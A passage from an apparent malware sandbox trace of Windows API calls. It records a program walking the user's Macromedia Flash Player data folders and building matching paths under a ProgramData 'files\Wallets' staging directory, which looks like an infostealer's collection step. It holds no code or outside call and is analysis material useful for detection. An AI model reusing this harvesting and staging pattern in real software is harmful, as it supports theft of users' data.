lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\.." [0052.103] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com" [0052.103] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\" [0052.103] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\.." [0052.103] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.103] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.103] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.103] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.103] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com" [0052.103] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\" [0052.103] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.103] lstrcmpW (lpString1="support", lpString2=".") returned 1 [0052.103] lstrcmpW (lpString1="support", lpString2="..") returned 1 [0052.103] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*.*" [0052.103] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a3c0 [0052.103] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\." [0052.103] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.103] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0052.103] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\." [0052.103] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.103] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.103] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0052.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\.." [0052.103] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.103] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0052.103] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\.." [0052.103] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.103] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.103] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.104] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support" [0052.104] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0052.104] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcmpW (lpString1="flashplayer", lpString2=".") returned 1 [0052.104] lstrcmpW (lpString1="flashplayer", lpString2="..") returned 1 [0052.104] lstrcpyW (in: lpString1=0x19c524, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*.*" [0052.104] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*.*", lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0x58a540 [0052.104] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\." [0052.104] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0052.104] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\." [0052.104] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.104] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.104] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\.." [0052.104] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0052.104] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\.." [0052.104] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.104] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.104] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.104] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0052.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0052.104] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0052.104] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0052.104] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0052.104] lstrcmpW (lpString1="sys", lpString2=".") returned 1 [0052.105] lstrcmpW (lpString1="sys", lpString2="..") returned 1 [0052.105] lstrcpyW (in: lpString1=0x19bbe0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0052.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*.*" [0052.105] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*.*", lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0x58a300 [0052.105] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0052.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0052.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\." [0052.105] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash 